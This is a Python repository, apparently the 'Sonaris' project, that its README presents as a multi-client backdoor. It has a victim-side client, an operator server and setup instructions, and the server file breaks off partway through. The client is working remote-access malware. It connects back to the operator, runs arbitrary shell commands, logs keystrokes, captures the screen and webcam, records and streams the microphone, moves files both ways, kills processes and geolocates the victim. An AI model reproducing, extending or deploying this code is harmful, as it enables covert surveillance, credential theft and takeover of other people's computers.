├── .gitignore
├── requirements.txt
├── parserArguments.py
├── main.py
├── README.md
├── client.py
└── server.py
/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__
2 | .vscode
3 | screenshots
4 | files
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | numpy==1.20.3
2 | sounddevice==0.4.1
3 | SoundFile==0.10.3.post1
4 | pynput==1.7.3
5 | opencv-python==4.5.1.48
6 | psutil==5.8.0
7 | rich==10.1.0
8 | pyscreenshot==3.0
--------------------------------------------------------------------------------
/parserArguments.py:
--------------------------------------------------------------------------------
1 | from argparse import ArgumentParser
2 |
3 | def createSetupParser():
4 | parser = ArgumentParser(description='Simple multiclient Backdoor!')
5 |
6 | parser.add_argument('-a', '--address', dest='address',
7 | help='Endereço do servidor.', default='127.0.0.1')
8 | parser.add_argument('-p', '--port', dest='port', default=5000,
9 | help='Porta do servidor.')
10 |
11 | return parser, parser.parse_args()
--------------------------------------------------------------------------------
/main.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python3
2 | # coding: utf-8
3 |
4 | __author__ = '@zNairy'
5 | __contact__ = 'Discord: zNairy#7181 | Github: https://github.com/zNairy/'
6 | __version__ = '2.0'
7 |
8 | from parserArguments import createSetupParser
9 | from server import Server
10 |
11 | def main():
12 | parser, args = createSetupParser()
13 |
14 | servidorBackdoor = Server(args.address, int(args.port)) # Ex: server = Server('0.tcp.ngrok.io', 4321)#
15 | servidorBackdoor.run() # iniciando escuta e sessões #
16 |
17 |
18 | if __name__ == '__main__':
19 | main()
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | 
2 |
"Get ready to hack the planet!"
3 |
4 | ## Instalação
5 | Baixe ou clone o repositório usando:
6 | ```bash
7 | git clone https://github.com/zNairy/Sonaris
8 | ```
9 | Em seguida instale os recursos necessários descritos em requirements, utilizando o pip de acordo com sua versão do Python.
10 | ```bash
11 | python -m pip install -r requirements.txt
12 | ```
13 | ## Como usar
14 | Inicie o lado servidor com python main.py para suportar cada vítima que se conectar à ele. Por padrão, tanto o servidor quanto cada cliente é conectado no endereço 0.0.0.0:5000 se nenhum argumento for passado em sua instância.
15 | ```python
16 | class Server(object):
17 | """ server side backdoor """
18 | def __init__(self, host='0.0.0.0', port=5000):
19 | ```
20 | Uma porta ou endereço diferente também podem ser passados por meio de argumentos, somente no lado servidor
21 | ```bash
22 | python main.py -a 127.0.0.1 -p 1234
23 | ```
24 | O lado cliente deve ser iniciado formalmente e seu endereço e porta são passados diretamente na instância do objeto.
25 | ## Funcionalidades
26 | Assim como qualquer outro backdoor, o Sonaris conta com funcionalidades básicas de navegação, gerência das sessões e funcionamento interno do programa. Ao rodar o comando principal /commands lhe será mostrado a lista de todos os comandos possíveis.
27 | ```txt
28 | /attach
29 | /detach
30 | /sessions
31 | /sessioninfo
32 | /userinfo
33 | /rmsession
34 | /screenshot
35 | /webcamshot
36 | /download
37 | /upload
38 | /processlist
39 | /processinfo
40 | /terminateprocess
41 | /micrecord
42 | /micstream
43 | /kloggerstart
44 | /kloggerdump
45 | /kloggerstop
46 | /author
47 | /contact
48 | /version
49 | /internalcommands
50 | /commands
51 | ```
52 | Os comandos de gerência interna podem ser visualizados rodando o comando /internalcommands.
53 | ```
54 | /attach
55 | /detach
56 | /sessions
57 | /sessioninfo
58 | /userinfo
59 | /rmsession
60 | /author
61 | /contact
62 | /version
63 | /internalcommands
64 | /commands
65 | ```
66 | Alguns comandos são executados somente quando há alguma sessão anexada, caso contrário lhe será exibido algum descritivo do comando.
67 | ```bash
68 | znairy@sonaris:# /contact
69 | Discord: zNairy#7181 | Github: https://github.com/zNairy/
70 | znairy@sonaris:# /micstream
71 | Info: Starts a microphone streaming.
72 | ```
73 | O backdoor é multi-client, o que significa que você pode ter mais de uma conexão simultânea.
74 | Após receber alguma conexão, verifique se está ativa com o comando /sessions.
75 | ```bash
76 | [*] Incoming connection from znairy:Linux
77 | znairy@sonaris#:# /sessions
78 | -znairy
79 | ```
80 | Se anexe à sessão da vítima desejada e seja feliz _;)_
81 | ```bash
82 | znairy@sonaris:# /attach znairy
83 | You are attached to a section with znairy now!
84 | znairy@sonaris:/home/znairy/Documents/Github/Sonaris#
85 | ```
86 | ## Observações
87 | O projeto ainda não está totalmente concluído, por isso se deseja fazer alguma contribuição ou crítica construtiva, faça um pull request ou entre em contato comigo pelo Discord.
88 |
--------------------------------------------------------------------------------
/client.py:
--------------------------------------------------------------------------------
1 | # coding: utf-8
2 |
3 | __author__ = '@zNairy'
4 | __contact__ = 'Discord: zNairy#7181 | Github: https://github.com/zNairy/'
5 | __version__ = '2.0'
6 |
7 | from socket import socket, AF_INET, SOCK_STREAM
8 | from getpass import getuser
9 | from datetime import datetime
10 | from pyscreenshot import grab
11 | from cv2 import VideoCapture, imencode
12 | from psutil import process_iter, AccessDenied
13 | from pynput.keyboard import Listener, KeyCode
14 | from pathlib import Path
15 | from json import loads as jloads
16 | from pickle import loads, dumps
17 | from sounddevice import RawInputStream, rec, wait
18 | from numpy import save
19 | from io import BytesIO
20 | from subprocess import getoutput
21 | from requests import get
22 | from os import uname, chdir, getcwd
23 | from tempfile import NamedTemporaryFile, gettempdir
24 | from time import sleep, time
25 | from urllib3.exceptions import InsecureRequestWarning
26 | from urllib3 import disable_warnings
27 |
28 | disable_warnings(InsecureRequestWarning)
29 |
30 |
31 | class Client(object):
32 | """ client side backdoor """
33 | def __init__(self, host='0.0.0.0', port=5000):
34 | self.__Address = (host, port)
35 | self.kloggerIsRunning, self.currentCapturedKeys = False, ''
36 | self.kloggerFiles = []
37 |
38 | def __repr__(self):
39 | print(f'Server(host="{self.__Address[0]}", port={self.__Address[1]})')
40 |
41 | # removing the screenshot file
42 | def removeScreenshot(self):
43 | Path(f'{gettempdir()}/736f6e61726973.png').unlink(missing_ok=True)
44 |
45 | # kills some processes by name or pid
46 | def terminateProcess(self, processIdentifier):
47 | if not processIdentifier.isdigit():
48 | processes = [proc for proc in process_iter() if proc.name().lower() == processIdentifier.lower()]
49 | else:
50 | processes = [proc for proc in process_iter() if proc.pid == int(processIdentifier)]
51 |
52 | if processes:
53 | try:
54 | for process in processes:
55 | process.terminate()
56 |
57 | self.sendHeader({"content": f"[green]Process [yellow]{processIdentifier} [green]has been terminated!"})
58 | except AccessDenied:
59 | self.sendHeader({"content": f"[red]Error: Can't terminate process [yellow]{processIdentifier}, [red]Access denied"})
60 | else:
61 | self.sendHeader({"content": f"[red]No processes running with identifier [yellow]{processIdentifier}."})
62 |
63 | # getting info of only one process
64 | def getProcessInfo(self, processname):
65 | attrs = ['pid', 'username', 'name', 'exe', 'cwd', 'cpu_percent', 'memory_percent']
66 | processInfo = [proc.info for proc in process_iter(attrs=attrs) if proc.name().lower() == processname.lower()]
67 | if processInfo:
68 | self.sendHeader({"sucess": True, "total": len(processInfo), "bytes": len(dumps(processInfo))})
69 | sleep(0.5)
70 | self.__Client.send(dumps(processInfo))
71 | else:
72 | self.sendHeader({"sucess": False, "content": f"[red]No process with name [yellow]{processname}."})
73 |
74 | # getting info of all processes running in the moment
75 | def getProcessList(self, args):
76 | processesInfo = [proc.info for proc in process_iter(['pid', 'username', 'name', 'exe', 'cwd'])]
77 |
78 | self.sendHeader({"total": len(processesInfo), "bytes": len(dumps(processesInfo))})
79 | sleep(0.5)
80 | self.__Client.send(dumps(processesInfo))
81 |
82 | # removing temp log files
83 | def removeKloogerFiles(self):
84 | for klog in self.kloggerFiles:
85 | Path(klog).unlink(missing_ok=True)
86 |
87 | self.kloggerFiles.clear()
88 |
89 | def saveCapturedKeys(self):
90 | with NamedTemporaryFile(suffix='.dat', delete=False) as tempfile:
91 | tempfile.write(f'[{datetime.now().strftime("%H:%M")}]: {self.currentCapturedKeys}'.encode())
92 | self.kloggerFiles.append(tempfile.name)
93 |
94 | self.currentCapturedKeys = ''
95 |
96 | # excluding command/special keys
97 | def checkValidKeys(self, key):
98 | if isinstance(key, KeyCode):
99 | self.currentCapturedKeys += key.char
100 | elif key.name == 'space':
101 | self.currentCapturedKeys += ' '
102 |
103 | if len(self.currentCapturedKeys) >= 1000000: # ≃1mb
104 | self.saveCapturedKeys()
105 |
106 | # starting the keyboard logger
107 | def keyloggerStart(self, args):
108 | if not self.kloggerIsRunning:
109 | self.keyboardListener = Listener(on_press=self.checkValidKeys)
110 | self.keyboardListener.start()
111 | self.kloggerIsRunning = True
112 | self.sendHeader({"content": f"[green]The listening started at [yellow]{datetime.now().strftime('%H:%M')}!\n"})
113 | else:
114 | self.sendHeader({"content": f"[yellow]The klogger is already running!"})
115 |
116 | # sending the captured keys to server side
117 | def keyloggerDump(self, args):
118 | if self.kloggerIsRunning:
119 | if self.kloggerFiles:
120 | currentKeys, self.currentCapturedKeys = f"[{datetime.now().strftime('%H:%M')}]: {self.currentCapturedKeys}", "" # saving current content of captured keys and erasing them
121 | klogs = ''.join(open(partFile).read() + '\n' for partFile in self.kloggerFiles)
122 | self.removeKloogerFiles()
123 | capturedKeys = (klogs+currentKeys).encode()
124 | elif self.currentCapturedKeys:
125 | capturedKeys, self.currentCapturedKeys = f"[{datetime.now().strftime('%H:%M')}]: {self.currentCapturedKeys}".encode(), "" # saving current content of captured keys and erasing them
126 | else:
127 | self.sendHeader({"sucess": False, "content": "[red] There's no captured keys yet."})
128 | return
129 |
130 | header = {
131 | "namefile": f"klogger_dump-{datetime.now().strftime('%d.%m.%y-%H.%M.%S')}",
132 | "extension": '.dat',
133 | "bytes": len(capturedKeys),
134 | "path": "files",
135 | "sucess": True
136 | }
137 |
138 | self.sendHeader(header)
139 | sleep(0.5)
140 | self.__Client.send(capturedKeys)
141 | else:
142 | self.sendHeader({"sucess": False, "content": "[red] Error: The klogger is not running!"})
143 |
144 | # stopping the keyboard logger
145 | def keyloggerStop(self, args):
146 | if self.kloggerIsRunning:
147 | self.keyboardListener.stop()
148 | self.kloggerIsRunning = False
149 | self.sendHeader({"content": f"[green]Klogger has ended at [yellow]{datetime.now().strftime('%H:%M')}!"})
150 | else:
151 | self.sendHeader({"content": "[red] Error: The Klogger is not running."})
152 |
153 | # stopping microphone streaming and sending signal to server side
154 | def stopMicStream(self, args):
155 | self.microphoneStream.stop()
156 | self.__Client.send(b'/micstreamstop')
157 |
158 | # sending data frame from the microphone streaming
159 | def sendMicStreamFrames(self, *args):
160 | self.__Client.send(args[0])
161 |
162 | # starting microphone streaming
163 | def micStream(self, args):
164 | self.microphoneStream = RawInputStream(channels=2, blocksize=4096, callback=self.sendMicStreamFrames)
165 | self.microphoneStream.start()
166 |
167 | # recording microphone audio
168 | def micRecord(self, args):
169 | if args:
170 | if args[0].isdigit():
171 | recorded = rec(channels=2, frames=(44100*int(args[0])), samplerate=44100);wait()
172 | audio = BytesIO()
173 | save(audio, recorded, allow_pickle=True)
174 | else:
175 | self.sendHeader({'sucess': False, 'content': '[red] Please pass seconds as [yellow]integer.'})
176 | return
177 | else:
178 | recorded = rec(channels=2, frames=(44100*5), samplerate=44100);wait()
179 | audio = BytesIO()
180 | save(audio, recorded, allow_pickle=True)
181 |
182 | self.sendHeader({
183 | "namefile": f"micRecord-{datetime.now().strftime('%d.%m.%y-%H.%M.%S')}",
184 | "extension": '.wav',
185 | "bytes": len(audio.getvalue()),
186 | "path": "files",
187 | "sucess": True
188 | })
189 |
190 | sleep(0.5)
191 | self.__Client.send(audio.getvalue())
192 |
193 | # receiving a file from server side (upload)
194 | def upload(self, args):
195 | header = loads(self.__Client.recv(512))
196 | try:
197 | self.receiveFile(header)
198 | self.sendHeader({"content": f"[green]File {Path(args).stem} uploaded successfully!", "sucess": True})
199 | except PermissionError:
200 | self.sendHeader({"content": f"[red]Permission denied: {args}", "sucess": False})
201 |
202 | # checking if exist any available webcam to use
203 | def checkAvailableWebcams(self):
204 | # trying to detect any available webcam and return ids if exists
205 | availableWebcams = [f'{id+1} ' for id in range(10) if VideoCapture(id).isOpened()]
206 |
207 | if availableWebcams:
208 | return {
209 | "sucess": True,
210 | "content": f"[green]There's [yellow]{len(availableWebcams)}[green] webcams available | IDs: [white]{''.join(webcamId for webcamId in availableWebcams)}"
211 | }
212 |
213 | return {"sucess": False, "content": "[red]There's no webcam available"}
214 |
215 | # taking a webcam shot from id
216 | def webcamshot(self, args):
217 | if args:
218 | try:
219 | # trying to taking a webcam shot and converting the frame in to bytes string
220 | wcamshot = imencode('.png', VideoCapture(int(args)-1).read()[1])[1].tobytes() if VideoCapture(int(args)-1).isOpened() else False
221 |
222 | if wcamshot and int(args) > 0: # if there is any frame by the given id
223 | header = {
224 | "namefile": datetime.now().strftime('%d.%m.%y-%H.%M.%S'),
225 | "extension": '.png',
226 | "bytes": len(wcamshot),
227 | "path": "screenshots",
228 | "sucess": True
229 | }
230 |
231 | self.sendHeader(header)
232 | sleep(0.5)
233 | self.__Client.send(wcamshot)
234 | else:
235 | self.sendHeader({"content": f"[red]There's no webcam with ID [yellow]{args}", "sucess": False})
236 | except ValueError:
237 | self.sendHeader({"content": f"[red] Invalid Id [yellow]{args}[red], must be a number", "sucess": False})
238 | else:
239 | availableWebcams = self.checkAvailableWebcams()
240 | self.sendHeader(availableWebcams)
241 |
242 | # taking a screenshot
243 | def screenshot(self, args):
244 | grab().save(f'{gettempdir()}/736f6e61726973.png') # taking and saving the screenshot
245 | namefile, extension, file = self.splitFile(f'{gettempdir()}/736f6e61726973.png')
246 | self.removeScreenshot()
247 |
248 | header = {
249 | "namefile": datetime.now().strftime('%d.%m.%y-%H.%M.%S'),
250 | "extension": extension,
251 | "bytes": len(file),
252 | "path": "screenshots"
253 | }
254 |
255 | self.sendHeader(header)
256 | sleep(1)
257 | self.__Client.send(file)
258 |
259 | # sending a local file to server side (download)
260 | def download(self, args):
261 | try:
262 | if Path(args).is_file(): # if file exists
263 | namefile, extension, file = self.splitFile(args)
264 | header = {
265 | "namefile": namefile,
266 | "extension": extension,
267 | "bytes": len(file),
268 | "path": "files",
269 | "sucess": True
270 | }
271 |
272 | self.sendHeader(header)
273 | sleep(1)
274 | self.__Client.send(file)
275 | else:
276 | self.sendHeader({"content": f"[red]File {Path(args).stem} not found", "sucess": False})
277 | except PermissionError:
278 | self.sendHeader({"content": f"[red]Permission denied: {args}", "sucess": False})
279 |
280 | # saving a received file from server side
281 | def saveReceivedFile(self, path, content):
282 | with open(path, 'wb') as receivedFile:
283 | receivedFile.write(content)
284 |
285 | # receiving a file from server side (upload)
286 | def receiveFile(self, header):
287 | file = b''
288 |
289 | while len(file) < header['bytes']:
290 | file += self.__Client.recv(header['bytes'])
291 |
292 | self.saveReceivedFile(f'{header["namefile"]}{header["extension"]}', file)
293 |
294 | # returns name of file, extension and your bytes content
295 | def splitFile(self, path):
296 | with open(path, 'rb') as file:
297 | return Path(path).stem, Path(path).suffix, file.read()
298 |
299 | # send header to server side (about messages, files...)
300 | def sendHeader(self, header):
301 | self.__Client.send(dumps(header))
302 |
303 | # changing to the directory, informed from the server side
304 | def changeDirectory(self, directory):
305 | try:
306 | chdir(directory)
307 | self.sendCommand(self.lastCommand, '.')
308 | except PermissionError:
309 | self.sendCommand(self.lastCommand)
310 | except FileNotFoundError:
311 | self.sendCommand(self.lastCommand)
312 |
313 | # returns all 'internal' commands
314 | def allCommands(self):
315 | return {
316 | "/screenshot": {"action": self.screenshot},
317 | "/download": {"action": self.download},
318 | "/upload": {"action": self.upload},
319 | "/webcamshot": {"action": self.webcamshot},
320 | "/processlist": {"action": self.getProcessList},
321 | "/processinfo": {"action": self.getProcessInfo},
322 | "/terminateprocess": {"action": self.terminateProcess},
323 | "/micrecord": {"action": self.micRecord},
324 | "/micstream": {"action": self.micStream},
325 | "/micstreamstop": {"action": self.stopMicStream},
326 | "/kloggerstart": {"action": self.keyloggerStart},
327 | "/kloggerdump": {"action": self.keyloggerDump},
328 | "/kloggerstop": {"action": self.keyloggerStop},
329 | "cd": {"action": self.changeDirectory}
330 | }
331 |
332 | # returns function of the command (your action) and your respective arguments, if exists, if not returns False (is a shell command).
333 | def splitCommand(self, command):
334 | if self.allCommands().get(command.split()[0]):
335 | return self.allCommands()[command.split()[0]]['action'], ''.join(f'{cmd} ' for cmd in command.split()[1:]) # 1: function, 2: args #
336 |
337 | return False, ''
338 |
339 | # returns output of the command informed
340 | def outputCommand(self, command):
341 | return getoutput(command).encode()
342 |
343 | # sending the command output that was executed in shell
344 | def sendCommand(self, command, customOutput=''):
345 | if not customOutput:
346 | output = self.outputCommand(command)
347 | else:
348 | output = customOutput.encode()
349 |
350 | header = {
351 | "initialTime": time(),
352 | "bytes": len(output),
353 | "currentDirectory": getcwd()
354 | }
355 |
356 | self.sendHeader(header)
357 | sleep(0.5) # small delay to send the data
358 | self.__Client.send(output)
359 |
360 | # checking and executing command informed by server side
361 | def runCommand(self, cmd):
362 | command, args = self.splitCommand(cmd)
363 |
364 | if command:
365 | command(args.strip())
366 | else:
367 | self.sendCommand(cmd) # send the output of shell command
368 |
369 | # receiving server side commands
370 | def listenServer(self):
371 | while True:
372 | command = self.__Client.recv(512)
373 | if command:
374 | self.lastCommand = command
375 | self.runCommand(command.decode('utf-8'))
376 | else:
377 | self.run()
378 |
379 | # returns some basic data about client
380 | def identifier(self):
381 | identifier = {"name": getuser(), "SO": uname().sysname, "arch": uname().machine, "currentDirectory": getcwd()}
382 |
383 | try:
384 | info = jloads(get('http://ip-api.com/json/').content) # locality
385 | identifier.update({"externalAddress": info['query'], "city": info['city'], "country": info['country'], "region": info['region']})
386 | except Exception:
387 | pass
388 |
389 | return dumps(identifier)
390 |
391 | # trying to connect to the server
392 | def connect(self):
393 | try:
394 | self.__Client.connect((self.__Address))
395 | self.__Client.send(self.identifier())
396 | except ConnectionRefusedError:
397 | sleep(5);self.connect()
398 |
399 | # configuring the socket object
400 | def configureSocket(self):
401 | self.__Client = socket(AF_INET, SOCK_STREAM)
402 |
403 | # starting the program
404 | def run(self):
405 | self.configureSocket()
406 | self.connect()
407 |
408 | self.listenServer()
409 |
410 |
411 | def main():
412 | client = Client('127.0.0.1', 5000)
413 | client.run()
414 |
415 | if __name__ == '__main__':
416 | main()
417 |
--------------------------------------------------------------------------------
/server.py:
--------------------------------------------------------------------------------
1 | # coding: utf-8
2 |
3 | __author__ = '@zNairy'
4 | __contact__ = 'Discord: zNairy#7181 | Github: https://github.com/zNairy/'
5 | __version__ = '2.0'
6 |
7 | #teste
8 | from socket import socket, AF_INET, SOCK_STREAM, SOL_SOCKET, SO_REUSEADDR, gaierror
9 | from threading import Thread
10 | from getpass import getuser
11 | from pickle import loads, dumps
12 | from pathlib import Path
13 | from time import sleep, time
14 | from sounddevice import RawOutputStream
15 | from soundfile import write as soundwrite
16 | from pynput.keyboard import Listener, KeyCode
17 | from numpy import load as npload
18 | from io import BytesIO
19 | from rich.progress import BarColumn, Progress, TimeRemainingColumn
20 | from rich import print as printr
21 | from rich.console import Console
22 | from rich.table import Table
23 | from rich.box import SIMPLE
24 | from os import system, uname
25 |
26 |
27 | class Server(object):
28 | """ server side backdoor """
29 | def __init__(self, host='0.0.0.0', port=5000):
30 | self.__Address = (host, port)
31 | self.connectedUsers = {}
32 | self.userAttached = self.userCwd = ''
33 | self.especialCommands = {'clear': self.clearScreen, 'cls': self.clearScreen, 'exit': self.closeTerminal}
34 | self.allCommands = self.setAllCommands()
35 |
36 | def __repr__(self):
37 | print(f'Server(host="{self.__Address[0]}", port={self.__Address[1]})')
38 |
39 | # kills some processes by name or pid
40 | def terminateProcess(self, processname):
41 | if processname and self.userAttached:
42 | self.sendLastCommand()
43 | try:
44 | header = self.receiveHeader()
45 | printr(header['content'])
46 | except EOFError:
47 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
48 | self.removecurrentSession() # removing the current session because connection probaly was lost
49 | else:
50 | printr('Info: Kills some process running by name or PID. | Ex: [green]/terminateprocess windowsexplorer.exe [yellow]or[green] /terminateprocess 3123')
51 |
52 | # getting info of only one process
53 | def getProcessInfo(self, processname):
54 | if processname and self.userAttached:
55 | self.sendLastCommand()
56 | try:
57 | header = self.receiveHeader()
58 | if header['sucess']:
59 | processInfo = self.receiveProcessList(header)
60 | table = Table(show_footer=False, title=f'List of all {processname.title()} processes running', box=SIMPLE) # creating table to show data from received processes
61 | for column in ['PID', 'User', 'Process Name', 'Executable', 'Cwd', 'Cpu', 'Mem']: # adding the columns
62 | table.add_column(column, justify='center')
63 |
64 | for process in processInfo: # adding the rows
65 | table.add_row(str(process['pid']), process['username'], process['name'], process['exe'], process['cwd'], f"{process['cpu_percent']}%", f"{process['memory_percent']:.2f}%")
66 |
67 | console = Console() # creating the Console object
68 | console.print(table, f':white_check_mark: {processname.title()} {header["total"]} processes running', justify="center") # printing the table
69 | else:
70 | printr(header['content'])
71 | except EOFError:
72 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
73 | self.removecurrentSession() # removing the current session because connection probaly was lost
74 | else:
75 | printr('Info: Shows basic information of only one process running on the client side. | Ex: [green]/processinfo windowsexplorer.exe [yellow]or[green] /processinfo 3123')
76 |
77 | # getting all processes running in client side
78 | def getProcessList(self, args):
79 | if self.userAttached:
80 | self.sendLastCommand()
81 | try:
82 | header = self.receiveHeader()
83 | processInfo = self.receiveProcessList(header)
84 | table = Table(show_footer=False, title=f"List of all processes running.", box=SIMPLE) # creating table to show data from received processes
85 | for column in ['PID', 'User', 'Process Name', 'Executable', 'Cwd']: # adding the columns
86 | table.add_column(column, justify="center")
87 |
88 | for process in processInfo: # adding the rows
89 | table.add_row(str(process['pid']), process['username'], process['name'], process['exe'], process['cwd'])
90 |
91 | console = Console() # creating the Cosole object
92 | console.print(table, f"{header['total']} processes running", justify="center") # printing the table
93 | except EOFError:
94 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
95 | self.removecurrentSession() # removing the current session because connection probaly was lost
96 | else:
97 | printr(f'Info: Shows basic information of all process running on the client side')
98 |
99 | def receiveProcessList(self, header):
100 | progress = Progress("[progress.description][green]{task.description}", BarColumn(), "[progress.percentage]{task.percentage:>3.0f}%", TimeRemainingColumn())
101 |
102 | with progress:
103 | task = progress.add_task(f"Receiving process list", total=header['bytes'])
104 |
105 | processList = received = b''
106 |
107 | while len(processList) < header['bytes']:
108 | received = self.getCurrentUser()['conn'].recv(header['bytes'])
109 | processList += received
110 | progress.update(task, advance=len(received))
111 |
112 | return loads(processList)
113 |
114 | # starting the keyboard logger
115 | def kloggerStart(self, args):
116 | if self.userAttached:
117 | self.sendLastCommand()
118 | try:
119 | header = self.receiveHeader()
120 | printr(header['content'])
121 | except EOFError:
122 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
123 | self.removecurrentSession() # removing the current session because connection probaly was lost
124 | else:
125 | printr(f'Info: Starts a keyboard listener on the client side.')
126 |
127 | # saving the captured keys
128 | def kloggerDump(self, args):
129 | if self.userAttached:
130 | self.sendLastCommand()
131 | try:
132 | header = self.receiveHeader()
133 | if header['sucess']:
134 | data = self.receiveFile(header)
135 | self.saveReceivedFile(data, f'./{header["path"]}/{header["namefile"]}{header["extension"]}')
136 | printr(f'[green] See in [yellow]/files/{header["namefile"]}{header["extension"]}')
137 | else:
138 | printr(header['content'])
139 | except EOFError:
140 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
141 | self.removecurrentSession() # removing the current session because connection probaly was lost
142 | else:
143 | printr(f'Info: Saves the keys captured so far.')
144 |
145 | # stopping the keyboard logger
146 | def kloggerStop(self, args):
147 | if self.userAttached:
148 | self.sendLastCommand()
149 | try:
150 | header = self.receiveHeader()
151 | printr(header['content'])
152 | except EOFError:
153 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
154 | self.removecurrentSession() # removing the current session because connection probaly was lost
155 | else:
156 | printr(f'Info: Stop the keyboard listener and save the captured keys.')
157 |
158 | # checking if was pressed Q key to stop microphone audio streaming
159 | def checkStopMicStreamKey(self, key):
160 | if isinstance(key, KeyCode):
161 | if key.char == 'q':
162 | self.getCurrentUser()['conn'].send(b'/micstreamstop')
163 | self.keyboardListener.stop()
164 |
165 | # receiving and play sound frames from the microphone streaming
166 | def receiveMicStreamFrames(self):
167 | self.keyboardListener = Listener(on_press=self.checkStopMicStreamKey)
168 | self.keyboardListener.start() # for when you wish to stop microphone stream
169 |
170 | microphoneStream = RawOutputStream(channels=2, samplerate=44100)
171 | microphoneStream.start()
172 |
173 | while True:
174 | frame = self.getCurrentUser()['conn'].recv(32768)
175 | if frame != b'/micstreamstop':
176 | try:
177 | microphoneStream.write(frame)
178 | except Exception:
179 | microphoneStream.stop()
180 | break
181 | else:
182 | microphoneStream.stop()
183 | break
184 |
185 | # starting microphone streaming
186 | def micStream(self, args):
187 | if self.userAttached:
188 | self.sendLastCommand()
189 | try:
190 | printr('[yellow] If you want to stop stream press [red]"q"')
191 | self.receiveMicStreamFrames()
192 | except EOFError:
193 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
194 | self.removecurrentSession() # removing the current session because connection probaly was lost
195 | else:
196 | printr(f'Info: Starts a microphone streaming.')
197 |
198 | # recording microphone audio
199 | def micRecord(self, args):
200 | if self.userAttached:
201 | self.sendLastCommand()
202 | try:
203 | header = self.receiveHeader()
204 | if header['sucess']:
205 | data = self.receiveFile(header)
206 | self.checkFolders()
207 | soundwrite(f'./files/{header["namefile"]}{header["extension"]}', npload(BytesIO(data), allow_pickle=True), 44100)
208 | printr(f'[green] See in [yellow]/files/{header["namefile"]}{header["extension"]}')
209 | else:
210 | printr(header['content'])
211 | except EOFError:
212 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
213 | self.removecurrentSession() # removing the current session because connection probaly was lost
214 | else:
215 | printr(f'Info: Starts to recording microphone audio during x (integer) seconds | Ex: /micrecord 5')
216 |
217 | # getting the current user who you are attached
218 | def getCurrentUser(self):
219 | return self.connectedUsers[self.userAttached]
220 |
221 | # basic information of session you are
222 | def sessionInfo(self, args):
223 | if self.userAttached:
224 | userInfo = self.getCurrentUser()
225 | hour, minute, second = self.calculateElapsedTime(time()-userInfo["initialTime"]) # elapsed session time
226 | data = [
227 | f'Name Session: [green]{self.userAttached}',
228 | f'[white]Current Directory: [green]"{userInfo["currentDirectory"]}"',
229 | f'[white]Elapsed session Time: [green]{hour}:{minute}:{int(second)} [white]seconds'
230 | ]
231 |
232 | for info in data:
233 | printr(info)
234 | else:
235 | printr(f'Info: Shows basic information of the session you are linked')
236 |
237 | # basic information from attached user
238 | def userInfo(self, args):
239 | if self.userAttached:
240 | user = self.getCurrentUser()
241 | for key, value in user.items():
242 | if key not in ['conn', 'currentDirectory', 'initialTime']:
243 | printr(f'[white]{key}: [green]{value}')
244 | else:
245 | printr(f'Info: Shows basic information of the user you are linked')
246 |
247 | # attaches to an active session
248 | def attach(self, name):
249 | if name:
250 | if self.connectedUsers.get(name):
251 | self.userAttached = name
252 | self.userCwd = self.getCurrentUser()['currentDirectory']
253 | printr(f'[green] You are attached to a section with [yellow]{name}[green] now!')
254 | else:
255 | printr(f'[red] There is no open session with [yellow]{name}.')
256 | else:
257 | printr('Info: Attaches to an active session. [green]Ex: /attach zNairy-PC')
258 |
259 | # detach a active session
260 | def detach(self, name=''):
261 | if self.userAttached:
262 | self.userAttached = self.userCwd = ''
263 | else:
264 | printr(f'Info: Detach from the current session (when you are in one)')
265 |
266 | # checking if folders for screenshot or downloaded files exists
267 | def checkFolders(self):
268 | for folder in ['./screenshots','./files']:
269 | if not Path(folder).is_dir():
270 | Path(folder).mkdir()
271 |
272 | # send header to client side (about messages, files...)
273 | def sendHeader(self, header):
274 | self.getCurrentUser()['conn'].send(dumps(header))
275 |
276 | def receiveHeader(self):
277 | return loads(self.getCurrentUser()['conn'].recv(512))
278 |
279 | # return name of file, your extension and bytes content
280 | def splitFile(self, path):
281 | with open(path, 'rb') as file:
282 | return Path(path).stem, Path(path).suffix, file.read()
283 |
284 | # saving any received file from client side
285 | def saveReceivedFile(self, content, path):
286 | with open(path, 'wb') as receivedFile:
287 | receivedFile.write(content)
288 |
289 | # receiving bytes content of any file from client side | params: connection= current user attached, header= received header of file
290 | def receiveFile(self, header):
291 | self.checkFolders()
292 | progress = Progress("[progress.description][green]{task.description}", BarColumn(), "[progress.percentage]{task.percentage:>3.0f}%", TimeRemainingColumn())
293 |
294 | with progress:
295 | task = progress.add_task(f"Downloading {header['namefile']}", total=header['bytes'])
296 |
297 | file = received = b''
298 |
299 | while len(file) < header['bytes']:
300 | received = self.getCurrentUser()['conn'].recv(header['bytes'])
301 | file += received
302 | progress.update(task, advance=len(received))
303 |
304 | return file
305 |
306 | # uploading a local file (server side) to client side
307 | def upload(self, args):
308 | if args and self.userAttached:
309 | try:
310 | if Path(args).is_file():
311 | self.sendLastCommand()
312 |
313 | namefile, extension, file = self.splitFile(args)
314 | self.sendHeader({"namefile": namefile, "extension": extension, "bytes": len(file)})
315 | sleep(0.5)
316 | self.getCurrentUser()['conn'].send(file)
317 |
318 | response = self.receiveHeader()
319 | printr(response['content'])
320 | else:
321 | printr(f'[red] File {args} not found.')
322 | except PermissionError:
323 | printr(f'[red] Permission denied: {args}')
324 | else:
325 | printr('Info: Upload a file to client. [green]Ex: /upload nothing.pdf')
326 |
327 | # downloading a file from client side
328 | def download(self, args):
329 | if args and self.userAttached:
330 | self.sendLastCommand()
331 | try:
332 | header = self.receiveHeader()
333 | if header["sucess"]:
334 | data = self.receiveFile(header)
335 | self.saveReceivedFile(data, f'./{header["path"]}/{header["namefile"]}{header["extension"]}')
336 | else:
337 | printr(header['content'])
338 | except EOFError:
339 | printr(f'[red] Connection with [yellow]{self.userAttached}[red] was lost.')
340 | self.removecurrentSession() # removing the current session because connection probaly was lost
341 | else:
